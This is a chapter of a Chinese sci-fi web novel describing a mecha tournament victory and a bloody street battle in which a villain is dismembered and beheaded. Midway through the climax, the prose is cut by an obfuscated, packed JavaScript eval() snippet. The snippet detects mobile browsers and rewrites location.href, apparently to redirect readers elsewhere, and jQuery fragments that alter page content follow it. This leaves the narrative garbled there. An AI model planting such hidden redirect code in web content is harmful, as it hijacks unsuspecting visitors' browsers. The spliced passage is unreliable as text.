146. 第一百四十六章

作品:《狂奔落日海

    “我真没想到,这竟然是一场拉锯战。”奥摩双手交叠,支撑着下颌,靠在台面上双眼无神地盯着光屏。


    背景音还是沸腾的喧哗声,从五颜六色涌动的观众席上传来。


    伽利略一动不动地坐在旁边,双眼紧盯着光屏,看着比奥摩紧张很多。忽然,他的身体一耸,坐直了一些,眼睛微微瞪大,脱口而出:“奇怪,行动风格忽然变了。”


    奥摩转过目光,就看见苍蓝迷因号快如阵风,一剑平削,把蜻蛮姬斩倒在地。


    叶子蝉思绪飞转,机体翻滚了两圈,一个挺身跳起,挽了个剑花,双方又打成一团。


    观众席再一次被点燃,冲天的尖叫构成声浪席卷了整个大厅,奥摩和伽利略都有片刻看呆了,两个人迟了几秒钟对视了一眼,奥摩的反应还是更快,迅速接管了解说:


    “苍蓝迷因号忽然发力!看来靳京毕竟还是那个天才型驾驶员、卫冕冠军,手里总是抓着两张底牌的。”


    伽利略发出好像自言自语般的低喃,“那他们为什么一开始不用?难道要先演一演对手?”


    靳京在驾驶座上抹了一把汗,避免汗水流进眼睛,他又调整了一下护目镜的角度,声音有紧张,还带着些微的不安,“我们还有多长时间?还来得及吗?”


    麋因停顿了一下,才闷闷地说:“第一次药效会比较猛,但是药效过了之后的后遗症也会很猛……我们的感受可能不是同步的,我大概还有……10分钟吧。”


    靳京又下意识去摸身侧的口袋,“10分钟肯定不够吧?”


    “够了。”麋因哒哒猛敲了一阵按键,调出了分析图表,同步展示给驾驶舱里的靳京,“可能跟虫族的基因有关,蜻蛮姬的攻击是有潜意识惯性的,她的快攻比较分散,越是抢攻时,中门防备越是疏松,机会就藏在里面。”


    靳京微微蹙眉,想到了什么,“所以你的想法是顶着攻击,牺牲部分损伤率直取躯干位置,争取一击必杀?”


    “值得试一试,这么拖下去情况只会越来越不利。”


    他点点头,快速切换了攻击模式,扶着耳麦说了一句,“好,看看我们能不能用10分钟制造一个奇迹。”


    麋因伸手将哨兵模块开启,从苍蓝迷因号两肩后侧,两只团缩身体的编织者舒展开节肢,舒张双翅盘踞在赛场上空。麋因同时接管了哨兵的镜头视线,自语般轻轻交代,“现在没有10分钟了,哨兵会增加能量消耗。”


    靳京没有再多废话,一推方向摇杆,机体猛冲而出,攻击趋势瞬间猛烈起来。双方的光剑交击了数次,叮叮的高频噪声霎时汇聚成一首爆裂电子乐。


    “就是现在!”麋因瞅准了机会大喊一声,靳京几乎在同时心有灵犀,突进冲刺,双手捉住剑柄一剑贯穿了蜻蛮姬的胸腹当中,接着光剑横出,几乎将机甲横切成两半。


    麋因马上大喊:“后撤……”


    但是她依然慢了半拍,蜻蛮姬伤得不轻,反应却十分迅疾,节肢弹射而出,机体由人形变态成了半虫体,钳住了苍蓝迷因号两肩位置。


    频道里传来靳京的慨叹,“不好……”


    警笛在街上尖叫,警用小飞艇焦急地穿过了居民区和商业园区,向着一团糟糕的混战区域冲刺。


    但是很快,路口出现的一行人就阻止了通行。一个穿披风带兜帽的修长人形对着耳麦低声说:“三队就位。”然后,她举起一只手,粗粝沙哑的嗓音说着很不流利的蓝星官话,“此路不通,请你们返回。”


    星联防的人茫然地从飞行器上下来,警觉地审视着眼前这一排奇怪的人,几个警员迅速聚在一起,小声商量着:


    “怎么办?这一看就不是正常人类,打给星际种族户籍馆吗?”


    身旁另一个警员连连摇头,“连对方身份都没弄清,就要丢给种族户籍馆,那我们星联防不要面子的吗?”


    几个人将围成圈的队形展开,也站成一排面对着街对面的神秘小队。最中央那一团壮硕些的人形生物忽然伸手,将头顶的兜帽揭开,露出下面一张可以说狰狞的面孔——


    赫拉浑身的小触须伸展蠕动着,不停自动舔舐过自身滑溜溜的青色皮肤和鳞片。她猩红色的滚圆眼珠子瞪到极大,凶横地盯着街对面的星联防警员,缓缓裂开深渊巨口,发出宛如低啸的吼声。


    “……还是联系种族户籍馆吧。”一开始表示拒绝的那个警员立马妥协了,迅速跟身边几个同事交换意见,在别人奇异的眼光中又多解释了几句,“我不想上去接触那个……生物,你们谁愿意谁上?”


    两旁的警员短暂停滞了片刻,然后纷纷回到飞行器上,开始联系总部。


    赫拉在议论纷纷的背景音里又把兜帽戴了回去,有点羞赧地将脑袋别向一边。站在她旁边的徐灵雨默默松了口气,对着队伍另一侧的阿桑嘶了一声,“还有多久?我们也不能没完没了地撑下去吧?”


    阿桑偷偷扫视了她一眼,悄悄扶着耳麦说:“还有多久?星联防的人已经到场,而且他们向上级求援,马上星际种族户籍馆也要到场了。”


    “……很快。”话筒另一头的知了正在城市的上空盘旋,凭着背后飞快拍击的双翼悬置,光学镜头迅速略过下方的街道,捕捉到了一团血污当中残存的人形轮廓。


    她凌空一个扭转迅速下落,叮一声如同钢钉刺进了城市的街道,再站直身体时,脸上已经是汹涌迸溅出的仇恨,冰冷凶狠地瞪着面前匍匐在地的达克沃克。


    排除现场已经碎成满地的一些混血种,剩下还算活着的人都伤痕累累,包括地上的达克沃克,或者应该说特别是他。


    知了多用了几秒钟,才通过厚重的血污看到他的脸在哪,他的头皮被削掉了一片,露出血糊糊嫩红色的皮肉,大汩大汩鲜红的血不停地流淌到脸部,把视线堵塞了一半。他的身体很难分辨是不是完整的,因为基本上他是在一滩泥浆和血水混合成的污垢里。当他抬起断腕时,她才意识到他已经被切碎成了一大片和几小块。


    不过达克沃克的声音还中气十足的,“你们都是我造出来的,没有我就没有你们这些条烂命!现在,你们倒全部要来置我于死地?哈哈,哈哈!怪不得……怪不得说混血种都是低贱的白眼狼!虫族更是冷血怪物!”


    “知道了爹地,”知了冷漠地说了一句,“辛苦您一个人把我们这些怪物拉扯长大,现在我们就送你上路,给您送终。”


    两只促织也一瘸一拐地走近过来。折断了所有节肢,浑身被血与油包裹的沙米娜也从屋檐上爬了下来。几只混血种从各个方向,用不同的诡异姿势或爬或游或走了过来,慢慢包围住中间的达克沃克。


    他的最后一句遗言是:“麋因,我日你祖宗!”


    知了动作一滞,慢慢回了一句,“不要吧爹地,你要是真的遇到她的祖宗,谁日谁还不一定呢。”


    锋利的金属薄翼切割而过,一颗脑袋孤零零地离开了颈项,翻滚着坠落,划出一条怪异荒诞的曲线,在闷闷的撞击声中落到了马路上,翻滚了两圈,停留在满溢绝艳的血泊里。


    显示着损伤率的计分板上,电子数字来到了85%对93%。


    鲜红色的小灯珠反射着妖冶的光,十分符合此刻刺激的气氛。


    台下在狂喊着宣泄,台上在苟延残喘。


    耳麦里都是凌乱的呼吸,甚至能通过那些驳杂的背景音,感受到他的汗水正流过海蓝色的眼睛,流过眼底微微淤青的眼袋,顺着光滑的脸颊一路滑入了抿起的唇窝里……


    麋因赶紧收摄心神,她知道是因为药效马上要消失了,所以自己才会不受控制地思维发散,开始胡思乱想。


    “还有多久?”他的声音很疲倦,但是里面隐藏着火苗一样时刻准备复燃的攻击欲望。


    麋因扫了一眼数据面板,声音嘶哑地回答:“能量槽里光子梭燃尽了,自体备用能源还能坚持10分钟……常规模式下的10分钟。”


    他又拉风箱一样喘息了两声,比平时略略低沉,“但是我们坚持不到10分钟了。”


    麋因幽默地调侃了两声,“所以说苍蓝迷因号很靠谱,机器比人硬挺。”


    “……以前我不知道,原来电子化是这么难受的事,你为什么从来不说呢?”


    麋因略微停顿了一下,“一开始是很爽的,就像解开了身为人类的束缚,可以上天入地,可以随心所欲。就跟喝酒差不多,酒精麻醉了神经,短暂时间内什么烦恼都消失了,但是第二天就惨了,头痛会教你做人。”


    靳京把残碎的机体拉起来,勉强后撤了两步,通过光学镜头平视着面前的蜻蛮姬号,发出两声简短低哑的浑笑,“也跟这场比赛差不多,开始的时候意气风发,鲜衣怒马。战斗着战斗着,青春烧得寥寥无几,就变成了苦苦支撑的拉锯战。”


    麋因忍不住嗤了一声,“你这个小年轻,不要这么老气横秋。而且,谁说我赢不了的?”


    她把自己从瘫坐的姿势拉扯起来,尽量坐直了一些,努力对焦昏花的视线,双手敲击着按键说:“只差一下,一击决胜负,我可以用编织者模拟一个佯攻,你该干什么你清楚的。”


    靳京转动脑子思考了一下,反问她:“编织者已经阵亡了,怎么佯攻?”


    麋因扫视了一眼赛场上分散在左右两边的两只昆虫形状残骸,“没有,编织者是机器,机器没有阵亡的概念,只要能活动,就还有用。”


    “所以,还有一只能活动吗?”


    麋因努力地去连通其中的一只,软体联动几乎完全断开,飞行组件破损程度很高。她弯曲了几下手指,隔空粘结了几条断裂的线路,十分疲倦地说:“三个数之后,右边那只编织者会启动突击,佯攻蜻蛮姬胸前驾驶舱,你去刺腰椎中间的驱动核心,我们就赢了。”


    他也支撑着坐直了一些,“有你说的这么容易?”


    “如果顺利的话……”麋因通过光屏,看到蜻蛮姬忽然动作,只能略过前面两个数字,直接吐出:“一!”


    变化只在瞬息之间,像微风卷积柳叶,编织者轻飘飘的一个瞬起、突进。


    靳京差点被她闪到腰,几乎就在药效消失的前一秒,整台苍蓝迷因号电光石火间举剑突刺,光华流动,灿丽无端,电流与花火在一秒之内就像活了过来。


    计分板上代表蜻蛮姬的85%损伤率一跳,变成了100


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811034|164708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    %。


    在片刻静寂之后,现场陷入了鼎沸的欢腾里,场馆的天棚都差点被顶开了。


    奥摩一扭头,看着自己的搭档伽利略甚至有点哽咽了,只好赶紧控场:


    “恭喜苍蓝迷因号,恭喜靳京,谁都没想到这个差点半途而废的驾驶员,今天在这里浴火重生了!”


    机甲返回机库,几乎就差一步,备用能源耗尽,驾驶舱自动弹出,靳京连滚带爬从舷梯上滚下来,闷热导致他撕拉一声撕开了贴身的驾驶服,露出里面只穿着运动背心的上身,裸露的皮肤都是赤红,整个人宛如刚从蒸笼里出来。


    “不好意思,因为断电,空调系统完全失灵了……”麋因刚跑过来解释了一句,就被一个炽热的拥抱包围,就像被一只刚跑完二里地的大型犬扑倒了一样。靳京搂着她肩背飞旋了一圈,带动得麋因起飞了几秒钟。


    “我们赢了!进半决赛了!”靳京把人放下,又兴奋地叫了一声,眼睛亮闪闪地望着她,蓝色的眼珠里如同两汪海水,波光潋滟。


    麋因凝视着那双眼睛,恍惚中倒想起了第一次见到他的画面,那时候她站在啵唧电器的一楼大厅里,抱着纸箱,在磨磨唧唧前进的长队当中看见了一泓自行冲进大厦的阳光。跟他这个人一样,如同从天上掉落的阳光,射穿了自己灰尘纷飞的生命,把原本曲折的通道照射得纤尘毕现,让她看见了自己。


    “不过……”经过了初时胜利的兴奋感,靳京也不好意思起来,“今天是场苦战,机甲损伤率很高,来得及修复吗?”


    麋因仰头看了一眼狼藉的机体,现在还不太担心,可能是胜利的兴奋劲还没过。


    “没关系,上次姜灿和昙华搞来的零件和材料还剩了不少,而且距离半决赛还有不少时间,为了参赛者能做好准备,让比赛过程精彩,印视杯一贯会把赛程拉长。”


    靳京点点头,听见麋因的通讯器响了不停,像催命一样。她惊奇地接起来,听了两句,眼前明亮,露出了惊喜的表情,转过头跟靳京说:“风新圣醒过来了,星宝也好转了很多,看来达克沃克是真的挂掉了。”


    靳京片刻间有点乱,“那我们是先去汇合叶子蝉、沙米娜她们?还是先去医院探视?”


    “哦,对哦。”经他一提醒,麋因也犹豫起来,她嘶了一声,思考了一会儿,“我打给姜灿,让她先去医院探视,我得去看看战场的样子。”


    等两个人匆忙赶到街面上,眼前的景象确实足够惊人了。麋因一路小碎步后退着,惊悚地盯着不停洇湿扩散的红黑色液体,距离自己的脚尖越来越近。


    靳京握着她的手腕捏了捏,示意她抬头看前方路口,那里几条踉跄的影子陆续出现,一个个都没有什么人的形状,或者背着残破的节肢,或者浑身金属林立,衣缕不蔽,仿佛一支幽魂组成的小队。周围还有几个围观的人群,全都小心翼翼退在路边,用惊惧恐怖的表情偷看。


    麋因赶上前,焦急地打量着一行人,“龙蝎呢?龙蝎为什么不在?”


    “她在这。”其中一个促织淡漠地说,抬起双臂露出怀里的一堆零件,“受伤太重散开了。”


    麋因翻检了几下那堆零件,眉心紧皱,“怎么会这样呢?你比我们第一次见面的时候还要狼狈。”


    “她的性能一般,不太适合高强度作战。”


    麋因叹了口气,“我用的材料比较一般,只是拼凑了一个外壳,确实也没有什么加强改装……”


    手里的一颗圆咕隆咚的脑壳忽然说话了,而且语气比较冲,对着促织喷射怒火:“说谁性能一般?我比你多顶了十来分钟!”


    促织懒得理她,呵呵两声应付过去。麋因赶紧吩咐她们,“你们不能停留太久,快去和黑寡妇星盗团汇合,让阿桑带你们走,有什么维修需求都在路上解决。星际种族户籍馆可能马上就要来了,要是让离珈抓到……”


    靳京轻哼了一声,有点阴阳,“离珈跟你关系非同一般,他要是真来了,你求一求他,也说不定他也会放我们走呢?”


    麋因慢慢转过脸,对他的态度有点摸不着头脑,“我们那不叫非同一般,那叫剪不断理还乱。”


    远处的警笛已经在响了,麋因赶紧推着人,催着促织几个,“快点走!用飞的,省得来不及了。”


    离珈带领着星联防和城防小队赶来时,现场只剩下巨大的一滩血迹,还有焦黑的战斗痕迹。他一眼就从人群里找到埋着头的麋因,噌一下子冲了上去,一把抓住她,眯起眼睛冷笑,“你挺忙的啊,刚刚赢了比赛,这么快就赶过来看热闹?”


    麋因虽然心虚,但还是装得一脸茫然表情,“怎么了不行吗?看热闹也犯法吗?”


    靳京拍开他的手,也干巴巴地附和,“对啊,你们不赶紧去看看里面那个尸体,抓着我们两个路人干什么?”


    离珈这才松了手,茫茫然前进了两步,绕过街道口遮掩,踩着黏腻腻的一层血渍污垢,淌过了血色涟漪,终于看到了那一团不成形状的东西。


    他沉默了半天,喉骨上下滞涩地滑动着,一卡一卡地转过身,背着光茫然瞟向麋因,神色惊悚地问她:“你都干了些什么?麋因,你是我的噩梦吗?”